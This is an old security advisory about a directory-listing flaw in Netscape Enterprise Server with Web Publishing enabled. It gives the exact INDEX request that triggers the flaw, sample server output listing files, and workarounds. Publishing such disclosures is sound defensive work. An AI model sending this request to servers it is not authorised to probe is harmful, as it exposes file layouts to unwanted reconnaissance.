TITLE    : Netscape Enterprise Server - INDEX request problem
DATE     : January 24, 2001
NATURE   : Information gathering
AFFECTED : Netscape Enterprise Server 3.x and 4.x with Web Publishing enabled

PROBLEM:

Problems exists that allows remote user to obtain directory listings on remote site running Web Publishing.

DETAILS:

It is possible to obtain directory listing on the remote web server by issuing command:

INDEX / HTTP/1.0

Output looks like:

-- output start --

Trying 192.168.1.1...
Connected to www.example.org.
Escape character is '^]'.
INDEX / HTTP/1.0

HTTP/1.1 200 OK
Server: Netscape-Enterprise/3.6 SP2
Date: Fri, 19 Jan 2001 12:37:26 GMT
Content-type: text/plain

.cshrc unknown 418 975657629 264 null null
.login unknown 674 975657629 264 null null
.profile unknown 416 975657629 264 null null

-- output end --

INDEX request will not work on 'aliased' directories (like CGI directories and similar).

FIXES:

Netscape has been contacted on multiple occasions. First time, more than a year ago. Although other problems we have reported have been fixed, we
have received no response for this issue - to date.

Workaround is to disable Web Publishing, or disable INDEX request (which will, most likely, break web publishing feature).
